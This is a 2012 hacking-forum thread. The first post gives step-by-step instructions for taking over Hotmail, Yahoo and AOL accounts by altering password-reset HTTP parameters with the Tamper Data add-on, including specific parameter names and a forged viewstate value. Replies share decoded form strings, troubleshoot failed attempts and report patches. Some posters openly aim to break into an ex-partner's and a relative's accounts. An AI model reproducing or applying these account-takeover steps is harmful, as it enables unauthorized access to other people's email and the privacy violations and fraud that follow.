

Forum:[Hack Forums](#)

Thread: [Critical 0-Day in Hotmail, AOL and Yahoo allows changing passwords](#)

pepon - April 29, 2012, 9:35 am

FUCK INTERNET INFORMATION

Yesterday, we reported a serious 0-day vulnerability in Hotmail, allowing users to change the password legitimate mail without any Logeo, password or secret answer questions, only needed the famous Tamper Data add-on and change parameters in the HTTP requests in real time. This allowed many "hackers" (legitimate users) resetearan many accounts passwords of legitimate users. Once the password was "restored", you could access the account simply to leave the new password and no access to the real user account.

As if not enough, today reported another unknown hacker other similar vulnerabilities in Hotmail, Yahoo and AOL. Also made use of Tamper Data to change parameters in HTTP requests and reset the password successfully.

This is one of the most critical vulnerability that affected these 3 companies (Hotmail, AOL and Yahoo) and in passing leaves millions of users affected.

A Microsoft spokesman confirmed the existence of the security flaw and also the score, but gave no details, just said their users "are protected."

[Tamper Data](#)

Demonstrations of the three 0-Day:

HOTMAIL:

[Video: http://www.youtube.com/watch?feature=player_embedded&v=wdyDN82Egaw]

1. Go to <https://maccount.live.com/ac/resetpwdmain.aspx>
2. Enter the email you want to change password and the CAPTCHA.
3. Start Tamper Data
4. Remove parameter "SendEmail_ContinueCmd"
5. Change parameter "__V_previousForm" a "ResetOptionForm"
6. Change parameter "__viewstate" to "%% 2BEPFW%
2FwEXAQUDX19QDwUPTmV3UGFzc3dvcnRGb3JtZMw 2Fak6gMIVsxSIDMZxkMkl"
7. Click OK and enter the new password.
8. Start TamperDaTa and add the parameter "__V_SecretAnswerProof" here adds a variable that is not specified: (

YAHOO:

[Video: http://www.youtube.com/watch?feature=player_embedded&v=ONYxH2ewuVE]

1. Go to <https://edit.yahoo.com/forgot>
2. Enter the destination email and CAPTCHA.
3. Start Tamper Data.

4. Change parameter "Stage" to "fe200".
5. Click OK and type the new password.
6. Start Tamper Data on the parameter z.
7. Done

AOL:

1. Go to Reset Password page.
2. Enter the destination email and CAPTCHA.
3. Start Tamper Data.
4. Change parameter "action" to "pwdReset".
5. Change parameter "isSiteStateEncoded" to "false".
6. Click OK and enter the new password.
7. Start Tamper Data In rndNO parameter.
8. Done.

?

OldFag - April 29, 2012, 9:37 am

This is about to be leeches like crazy, thanks for the info though.

Mewtw? - April 29, 2012, 9:44 am

This was the thing that got patched I think. Anyway, delete this !

Moralitas - April 29, 2012, 9:51 am

(Apr 29, 2012 09:44 AM)Neymar Jr. Wrote: [CITEI](#) This was the thing that got patched I think. Anyway, delete this !Actually it's still vulnerable.. They replaced the ansproof on the error page with ___et somethinish.. You just need to set that to true and it'll work.

People are doing this by getting their unique ansproof, which will only change the password of the account you get the ansproof from.

As for Yahoo, that's been there for the longest time. I'm surprised they haven't fixed it yet[Didn't try it recently]..

All of these were posted on arab hacking sites a few weeks back while as the yahoo one was posted last month.

Quote:This is about to be leeches like crazy, thanks for the info though.
It's been leaked long time ago, THN picked up and it's just getting more viewers.

Chief - April 29, 2012, 9:57 am

AIM isn't working:

A + - April 29, 2012, 10:15 am

On Yahoo

6. Start Tamper Data on the parameter z.

^^ That might be what Im doing wrong. I dont know what the guy is posting in the video, because I dont speak that language.

I do everything like he does and everything, I just dont know what he types.

Quote:Actually it's still vulnerable.. They replaced the ansproof on the error page with __et somethinish.. You just need to set that to true and it'll work.

People are doing this by getting their unique ansproof, which will only change the password of the account you get the ansproof from.

Assuming that is hotmail?

Krimbo - April 29, 2012, 10:16 am

Windows Live

Sorry, we are experiencing a problem with our system. Please try again later.

Damnit!

:P

EDIT: According to the video, you need to decode the base-64 strings in the description?

I did the first one which equaled - <form id="ResetPWDSuccessForm" name="ResetPWDSuccessForm" method="post" action="resetpwdrst.aspx?rprst=1&username=lol-tbt%40hotmail.com&__ufps=553265#InitPos">
<input type="hidden" name="__ET" value="">

I don't know what to do with it though, maybe this will help someone?

2nd Edit: Here's the other base-64 decoded: <form id="GenericErrorPage" name="GenericErrorPage" method="post" action="merror.aspx?ec=InvalidProof+-+System.NullReferenceException&dm=A03-4%2f28%2f2012+11%3a35%3a17+PM&ru=https%3a%2f%2fmaccount.live.com%2fac%2fresetpwdmain.aspx%3f__ufps%3d841310&__ufps=354557#InitPos">
<input type="hidden" name="__ET" value="">

Krimbo-

Hate Sleeping Alone - April 29, 2012, 10:26 am

i don't know why but captca thing is not working for me / and never worked before on <https://maccount.live.com/ac/resetpwdmain.aspx>

YovielMarrero - April 29, 2012, 10:27 am

This isn't working for me either and Hate Sleeping Alone for hotmail I can't get past that point -_-

Hate Sleeping Alone - April 29, 2012, 10:30 am

(Apr 29, 2012 10:27 AM)Lel?uch Wrote: [\[CITE\]](#) This isn't working for me either and Hate Sleeping Alone for hotmail I can't get past that point -_-

I knew this exploit beforee, it was posted on other forum but i was never able to fucking bypass that captca thing.

it works fine on "hotmail" but no in maccount.live.com

..

Krimbo - April 29, 2012, 10:30 am

It just says session times out for me in hotmail, no idea what the Hotmail video owner means about what to do with the base 64 I decoded.. I'm really confused. The AOL one doesn't work either.

Krimbo-

ironlucario - April 29, 2012, 10:41 am

Yea like ive been using tamper data for 2 years on multiple online games. i facepalmed when i noticed people were doing it on hotmail.

But is there any currently working hotmail one?

Gnx - April 29, 2012, 10:42 am

this is old and patched allready :F over 1 month old it was private earlier -.-

Krimbo - April 29, 2012, 10:43 am

Doesn't work on Hotmail, Yahoo or AOL anymore as far as I can tell :/

Krimbo-

'Cody - April 29, 2012, 10:43 am

This was probably one of the private exploits, both seem to be fixed now though. Sucks.

Starburst - April 29, 2012, 10:46 am

Sucks that this is patched, I could've made quite a few grand in Habbo furniture.

And hacked my ex's hotmail/Facebook for shits and giggles.

aneeshkollam5 - April 29, 2012, 11:13 am

yahoo is not fixed i hacked one

Thanks for this exploit

entr0py - April 29, 2012, 11:15 am

I get to the page to type in a new PW on yahoo, but I don't understand the "Parameter z" instruction? Can anybody give some insight?

Krimbo - April 29, 2012, 11:18 am

The Yahoo one does NOT work.

Spoiler ([Click to View](#))

We are experiencing some difficulties processing your request. This is most probably a temporary technical issue, so please try again shortly. If you receive this error again, please contact contact Customer Care for assistance.

```
function getCCUrl($udb_intl, $partner = ""){ $udb_intl = strtoupper($udb_intl); //for case insensitive comparisons $partner = strtoupper($partner); $ccUrl = ""; switch($udb_intl){ case 'US': $ccUrl = "https://io.help.yahoo.com/contact/index?locale=en_US&y=PROD_ACCT&page=contact"; break; case 'AA': $ccUrl = "https://io.help.yahoo.com/contact/index?locale=en_HK&y=PROD_ACCT&page=contact"; break; case 'AR': $ccUrl = "http://help.yahoo.com//ar/yahoo/edit/cgi_access.html"; break; case 'AU': $ccUrl = "https://io.help.yahoo.com/contact/index?locale=en_AU&y=PROD_ACCT&page=contact"; break; case 'BR': $ccUrl = "http://help.yahoo.com//br/yahoo/edit/general.html"; break; case 'CA': if ($partner == "ROGERS-ACS"){ $ccUrl = "https://secure.rogershelp.com/yahoo/contact/support/php/"; } else { $ccUrl = "https://io.help.yahoo.com/contact/index?locale=en_CA&y=PROD_ACCT&page=contact"; } break; case 'CF': if($partner == "ROGERS-ACS"){ $ccUrl = "https://secure.rogershelp.com/yahoo/contact/support/php/"; } else { $ccUrl = "http://help.yahoo.com//cf/yahoo/edit/general.html"; } break; case 'CL': $ccUrl = "http://help.yahoo.com//cl/yahoo/edit/cgi_access.html"; break; case 'CN': $ccUrl = "http://help.cn.yahoo.com/feedback.html?product=pw"; break; case 'CO': $ccUrl = "http://help.yahoo.com//co/yahoo/edit/forms_index.html"; break; case 'DE': $ccUrl =
```

```

"http://help.yahoo.com//de/yahoo/edit/general.html"; break; case 'DK': $ccUrl =
"http://help.yahoo.com//dk/yahoo/edit/general.html"; break; case 'E1': $ccUrl =
"http://help.yahoo.com//e1/yahoo/edit/cgi_access.html"; break; case 'ES': $ccUrl =
"http://help.yahoo.com//es/yahoo/edit/general.html"; break; case 'FI': $ccUrl =
"http://help.yahoo.com//fi/yahoo/security/general.html"; break; case 'FR': $ccUrl =
"http://help.yahoo.com//fr/yahoo/edit/general.html"; break; case 'GR': $ccUrl =
"https://io.help.yahoo.com/contact/index?locale=en_US&y=PROD_ACCT&page=contact"; break;
case 'HK': $ccUrl = "https://help.cc.hk.yahoo.com/feedback.html?id=2083"; break; case 'ID': $ccUrl =
"http://help.yahoo.com//id/yahoo/edit/general.html"; break; case 'IN': $ccUrl =
"https://io.help.yahoo.com/contact/index?locale=en_IN&y=PROD_ACCT&page=contact"; break;
case 'IT': $ccUrl = "http://help.yahoo.com//it/yahoo/edit/general.html"; break; case 'KR': $ccUrl =
"https://kr.helpboard.yahoo.com/helpfeedback/c_id.html"; break; case 'MX': $ccUrl =
"http://help.yahoo.com//mx/yahoo/edit/cgi_access.html"; break; case 'MY': $ccUrl =
"https://io.help.yahoo.com/contact/index?locale=en_MY&y=PROD_ACCT&page=contact"; break;
case 'NL': $ccUrl =
"https://io.help.yahoo.com/contact/index?locale=en_US&y=PROD_ACCT&page=contact"; break;
case 'NO': $ccUrl = "http://help.yahoo.com//no/yahoo/edit/general.html"; break; case 'NZ': $ccUrl =
"https://io.help.yahoo.com/contact/index?locale=en_NZ&y=PROD_ACCT&page=contact"; break;
case 'PE': $ccUrl = "http://help.yahoo.com//pe/yahoo/edit/cgi_access.html"; break; case 'PH': $ccUrl =
"https://io.help.yahoo.com/contact/index?locale=en_PH&y=PROD_ACCT&page=contact"; break;
case 'PL': $ccUrl = "http://help.yahoo.com//pl/yahoo/edit/feedback.html"; break; case 'RO': $ccUrl =
"http://help.yahoo.com//ro/yahoo/mail/ymail/technical.html"; break; case 'RU': $ccUrl =
"http://help.yahoo.com//ru/yahoo/security/general.html"; break; case 'SE': $ccUrl =
"http://help.yahoo.com//se/yahoo/edit/general.html"; break; case 'SG': $ccUrl =
"https://io.help.yahoo.com/contact/index?locale=en_SG&y=PROD_ACCT&page=contact"; break;
case 'TH': $ccUrl = "http://help.yahoo.com//th/yahoo/edit/forms_index.html"; break; case 'TR': $ccUrl =
"http://help.yahoo.com//tr/yahoo/edit/general.html"; break; case 'TW': $ccUrl =
"https://help.cc.tw.yahoo.com/feedback.html?id=3942"; break; case 'UK': case 'IE': $ccUrl =
"https://io.help.yahoo.com/contact/index?locale=en_GB&y=PROD_ACCT&page=contact"; break;
case 'VE': $ccUrl = "http://help.yahoo.com//ve/yahoo/edit/cgi_access.html"; break; case 'VN': $ccUrl =
"http://help.yahoo.com//vn/yahoo/edit/avform.html"; break; case 'XA': $ccUrl =
"http://support.maktoob.com/index.php?_m=knowledgebase&_a=view&parentcategoryid=89&pcid=0
&nav=0general.html"; break; case 'XE': $ccUrl =
"https://io.help.yahoo.com/contact/index?locale=en_JO&y=PROD_ACCT&page=contact"; break;
case 'ZA': $ccUrl =
"https://io.help.yahoo.com/contact/index?locale=en_ZA&y=PROD_ACCT&page=contact"; break;
default: $ccUrl =
"https://io.help.yahoo.com/contact/index?locale=en_US&y=PROD_ACCT&page=contact"; } return
$ccUrl; }

```

Krimbo-

imposter johnson - April 29, 2012, 11:49 am

None of these are working anymore. I tried them all just now.

GeneralStarshade - April 29, 2012, 12:24 pm

This doesn't work anymore? :(

That parameter z instruction is giving me a hard time.

pepon - April 29, 2012, 12:44 pm

still can change some parameters, but has been reported.

(Apr 29, 2012 11:18 AM)Krimbo Wrote: [\[CITE\]](#) The Yahoo one does NOT work.

Spoiler ([Click to View](#))

We are experiencing some difficulties processing your request. This is most probably a temporary technical issue, so please try again shortly. If you receive this error again, please contact contact Customer Care for assistance.

```
function getCCUrl($udb_intl, $partner = ""){ $udb_intl = strtoupper($udb_intl); //for case insensitive comparisons $partner = strtoupper($partner); $ccUrl = ""; switch($udb_intl){ case 'US': $ccUrl = "https://io.help.yahoo.com/contact/index?locale=en_US&y=PROD_ACCT&page=contact"; break; case 'AA': $ccUrl = "https://io.help.yahoo.com/contact/index?locale=en_HK&y=PROD_ACCT&page=contact"; break; case 'AR': $ccUrl = "http://help.yahoo.com//ar/yahoo/edit/cgi_access.html"; break; case 'AU': $ccUrl = "https://io.help.yahoo.com/contact/index?locale=en_AU&y=PROD_ACCT&page=contact"; break; case 'BR': $ccUrl = "http://help.yahoo.com//br/yahoo/edit/general.html"; break; case 'CA': if ($partner == "ROGERS-ACS"){ $ccUrl = "https://secure.rogershelp.com/yahoo/contact/support/php/"; } else { $ccUrl = "https://io.help.yahoo.com/contact/index?locale=en_CA&y=PROD_ACCT&page=contact"; } break; case 'CF': if($partner == "ROGERS-ACS"){ $ccUrl = "https://secure.rogershelp.com/yahoo/contact/support/php/"; } else { $ccUrl = "http://help.yahoo.com//cf/yahoo/edit/general.html"; } break; case 'CL': $ccUrl = "http://help.yahoo.com//cl/yahoo/edit/cgi_access.html"; break; case 'CN': $ccUrl = "http://help.cn.yahoo.com/feedback.html?product=pw"; break; case 'CO': $ccUrl = "http://help.yahoo.com//co/yahoo/edit/forms_index.html"; break; case 'DE': $ccUrl = "http://help.yahoo.com//de/yahoo/edit/general.html"; break; case 'DK': $ccUrl = "http://help.yahoo.com//dk/yahoo/edit/general.html"; break; case 'E1': $ccUrl = "http://help.yahoo.com//e1/yahoo/edit/cgi_access.html"; break; case 'ES': $ccUrl = "http://help.yahoo.com//es/yahoo/edit/general.html"; break; case 'FI': $ccUrl = "http://help.yahoo.com//fi/yahoo/security/general.html"; break; case 'FR': $ccUrl = "http://help.yahoo.com//fr/yahoo/edit/general.html"; break; case 'GR': $ccUrl = "https://io.help.yahoo.com/contact/index?locale=en_US&y=PROD_ACCT&page=contact"; break; case 'HK': $ccUrl = "https://help.cc.hk.yahoo.com/feedback.html?id=2083"; break; case 'ID': $ccUrl = "http://help.yahoo.com//id/yahoo/edit/general.html"; break; case 'IN': $ccUrl = "https://io.help.yahoo.com/contact/index?locale=en_IN&y=PROD_ACCT&page=contact"; break; case 'IT': $ccUrl = "http://help.yahoo.com//it/yahoo/edit/general.html"; break; case 'KR': $ccUrl = "https://kr.helpboard.yahoo.com/helpfeedback/c_id.html"; break; case 'MX': $ccUrl = "http://help.yahoo.com//mx/yahoo/edit/cgi_access.html"; break; case 'MY': $ccUrl = "https://io.help.yahoo.com/contact/index?locale=en_MY&y=PROD_ACCT&page=contact"; break; case 'NL': $ccUrl = "https://io.help.yahoo.com/contact/index?locale=en_US&y=PROD_ACCT&page=contact"; break; case 'NO': $ccUrl = "http://help.yahoo.com//no/yahoo/edit/general.html"; break; case 'NZ': $ccUrl = "https://io.help.yahoo.com/contact/index?locale=en_NZ&y=PROD_ACCT&page=contact"; break; case 'PE': $ccUrl = "http://help.yahoo.com//pe/yahoo/edit/cgi_access.html"; break; case 'PH': $ccUrl = "https://io.help.yahoo.com/contact/index?locale=en_PH&y=PROD_ACCT&page=contact"; break; case 'PL': $ccUrl = "http://help.yahoo.com//pl/yahoo/edit/feedback.html"; break; case 'RO': $ccUrl = "http://help.yahoo.com//ro/yahoo/mail/ymail/technical.html"; break; case 'RU': $ccUrl = "http://help.yahoo.com//ru/yahoo/security/general.html"; break; case 'SE': $ccUrl = "http://help.yahoo.com//se/yahoo/edit/general.html"; break; case 'SG': $ccUrl = "https://io.help.yahoo.com/contact/index?locale=en_SG&y=PROD_ACCT&page=contact"; break; case 'TH': $ccUrl = "http://help.yahoo.com//th/yahoo/edit/forms_index.html"; break; case 'TR': $ccUrl = "http://help.yahoo.com//tr/yahoo/edit/general.html"; break; case 'TW': $ccUrl = "https://help.cc.tw.yahoo.com/feedback.html?id=3942"; break; case 'UK': case 'IE': $ccUrl = "https://io.help.yahoo.com/contact/index?locale=en_GB&y=PROD_ACCT&page=contact"; break;
```

```
case 'VE': $ccUrl = "http://help.yahoo.com/l/ve/yahoo/edit/cgi_access.html"; break; case 'VN': $ccUrl = "http://help.yahoo.com/l/vn/yahoo/edit/avform.html"; break; case 'XA': $ccUrl = "http://support.maktoob.com/index.php?_m=knowledgebase&_a=view&parentcategoryid=89&pcid=0&nav=0general.html"; break; case 'XE': $ccUrl = "https://io.help.yahoo.com/contact/index?locale=en_JO&y=PROD_ACCT&page=contact"; break; case 'ZA': $ccUrl = "https://io.help.yahoo.com/contact/index?locale=en_ZA&y=PROD_ACCT&page=contact"; break; default: $ccUrl = "https://io.help.yahoo.com/contact/index?locale=en_US&y=PROD_ACCT&page=contact"; } return $ccUrl; }
```

Krimbo-

I believe you did it wrong. Watch the video on how he does it.

Hate Sleeping Alone - April 29, 2012, 12:53 pm

yahoo didn't work for me

"The password you entered is to be secure.

Your password should be 6 to 32 characters long, can't contain your name or Yahoo! ID, and capitalization matters.

"

even it says "strong" when i enter ><.

A + - April 29, 2012, 2:16 pm

(Apr 29, 2012 12:53 PM)Hate Sleeping Alone Wrote: [\[CITE\]](#) yahoo didn't work for me

"The password you entered is to be secure.

Your password should be 6 to 32 characters long, can't contain your name or Yahoo! ID, and capitalization matters.

"

even it says "strong" when i enter ><.

Yea thats what happens with me as well.

Krimbo - April 29, 2012, 4:02 pm

I can get up to the part of where to enter the password, but then obviously when I do that, I need to "Tamper Data perimeter z", this part I have NO IDEA what to do, so I gave up..

Krimbo-

?('`?) - April 29, 2012, 4:39 pm

All are patched now :(

35 charac....

Theoskype - April 30, 2012, 7:30 pm

Thanks for the infos !

I will try this ..

masc - April 30, 2012, 9:41 pm

There's actually already a new zero day exploit involving tamper data.
Just the method and form is different.

!!!! - April 30, 2012, 10:12 pm

Code 6. Change parameter "__viewstate" to "%% 2BEPFW%
2FwEXAQUDX19QDwUPTmV3UGFzc3dvcmRGb3JtZMw 2Fak6gMIVsxSIDMZxkMkl"
This appears to be different from what is there on the video!! Is this right?
And its not working!

mryandao - April 30, 2012, 10:27 pm

It's not working anymore.

35characterseh?

Greystersting - May 1, 2012, 11:35 am

How did anyone ever discover the Hotmail one?

kwebbeltjes - May 1, 2012, 12:15 pm

dont work on hotmail
:S i think its already patches

viM. - May 1, 2012, 12:34 pm

ah sad its patched :(badluck .. nvm better luck nxt time !!

Rishidave - May 4, 2012, 1:11 am

On yahoo error message like this :

"We are experiencing some difficulties processing your request. This is most probably a temporary technical issue, so please try again shortly. If you receive this error again, please contact contact Customer Care for assistance. "....

I think they've patched it

Damnyoumad - May 4, 2012, 4:18 am

The Yahoo one works, all the guys who are receiving the "We are experiencing some difficulties processing your request" is doing it wrong.

I get all the way up to the screen to enter a new password, but when I do and I press next, it comes back to the same screen to re-enter the password. The Yahoo one and AOL one weren't patched yet, it just needs to be explained properly on what to do.

Anyone figured it out?

marshall42 - May 4, 2012, 4:55 am

Hotmail: patched since 4 days!!!
Next time maybe....

h4x0rm1k3 - May 9, 2012, 1:11 am

yahoo is already patched already? wwwwoot

Stockholm - May 9, 2012, 2:15 am

I guess this works on every other websites? just need to find out how?

Cyb3rGhOst - May 9, 2012, 7:08 am

Could someone head over to this site and check and see if they can get tamper data to work for this. This is crucial for me for it involves a family member... <http://www.myredbook.com/login.aspx>

ive been trying to get her password for weeks.. PM for details. When it comes to family, ill do anything to protect. Thanks

Respect and Honor

Given - May 9, 2012, 9:58 am

i need help man i dont understand tht much help me aim im.godly

Damnyoumad - May 9, 2012, 10:48 am

The Yahoo one still works but just up to the point where you have to enter the password and once you do, it takes you back to the same screen to enter the password again.

This guy didn't explain what to do for that part with the parameter "z".

And the AOL one has a session time out thing as well when I try it. He didn't explain the parameter shit for both of them....

ANYONE KNOW!? CMON, SOME ON THIS SITE HAS TO KNOW SOMETHING!

h4x0rm1k3 - May 11, 2012, 10:53 pm

any update about this method? any updated method that working?

kaotic4life - June 12, 2012, 7:04 pm

I tried and nothing...still not working!

Tom Riddle - June 13, 2012, 5:53 am

(May 9, 2012 10:48 AM)Damnyoumad Wrote: [\[CITE\]](#) The Yahoo one still works but just up to the point where you have to enter the password and once you do, it takes you back to the same screen to enter the password again.

This guy didn't explain what to do for that part with the parameter "z".

And the AOL one has a session time out thing as well when I try it. He didn't explain the parameter shit for both of them....

ANYONE KNOW!? CMON, SOME ON THIS SITE HAS TO KNOW SOMETHING!

yup me2 asked me again password what to do with "Z" parameter ?